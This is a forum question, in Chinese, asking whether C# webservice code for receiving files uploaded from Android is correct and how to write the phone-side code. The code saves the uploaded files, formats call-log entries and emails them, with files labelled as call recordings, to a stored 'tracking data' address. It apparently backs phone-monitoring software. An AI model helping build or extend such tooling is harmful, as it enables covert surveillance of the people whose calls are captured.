android调用webservice上传文件的问题
我在webservice里写了一个方法来让android上传文件,上传文件模仿的是html的input type=file。
System.Collections.Generic.List<string> filePaths = new System.Collections.Generic.List<string>();这是接收文件部分的代码 请问是否有错? android端应该如何写?
System.Web.HttpFileCollection files = base.Request.Files;
if (files.Count > 0)
{
string basePatn = base.GetBasePath() + "MyDown\";
IOHelper.ExistDirectory(basePatn, true);
string[] files2 = System.IO.Directory.GetFiles(basePatn);
for (int k = 0; k < files2.Length; k++)
{
string path = files2[k];
if (path.IndexOf(serial + "_") > -1)
{
System.IO.File.Delete(path);
}
}
for (int j = 0; j < files.Count; j++)
{
System.Web.HttpPostedFile file = files[j];
string filePath = basePatn + serial + "_" + System.IO.Path.GetFileName(file.FileName);
if (System.IO.File.Exists(filePath))
{
filePath = string.Concat(new object[]
{
filePath.Substring(0, filePath.LastIndexOf(".")),
"(",
System.DateTime.Now.Ticks,
")",
filePath.Substring(filePath.LastIndexOf("."))
});
}
filePaths.Add(filePath);
file.SaveAs(filePath);
}
System.Text.StringBuilder sb = new System.Text.StringBuilder();
if (!string.IsNullOrEmpty(content))
{
string[] cts = content.Replace(this.split, "|").Split(new char[]
{
'|'
});
if (cts.Length > 0)
{
for (int j = 0; j < cts.Length; j++)
{
string[] ar = cts[j].Replace("-/*", "|").Split(new char[]
{
'|'
});
int type = 100;
try
{
type = int.Parse(ar[4]);
}
catch (System.Exception)
{
}
sb.AppendFormat(tpl, new object[]
{
ar[0],//名称
ar[1],//号码
ar[2],//类型
ar[3],//通话时间
(type == 1) ? "来电" : ((type == 2) ? "去电" : ((type == 3) ? "未接" : "")),
(type == 1 || type == 2 || type == 3) ? "" : "none"
});
}
}
}
this.email.Send(phoneSerial, i.FReceiveEmail, "跟踪数据:电话录音", sb.ToString(), filePaths);
result = "OK";
}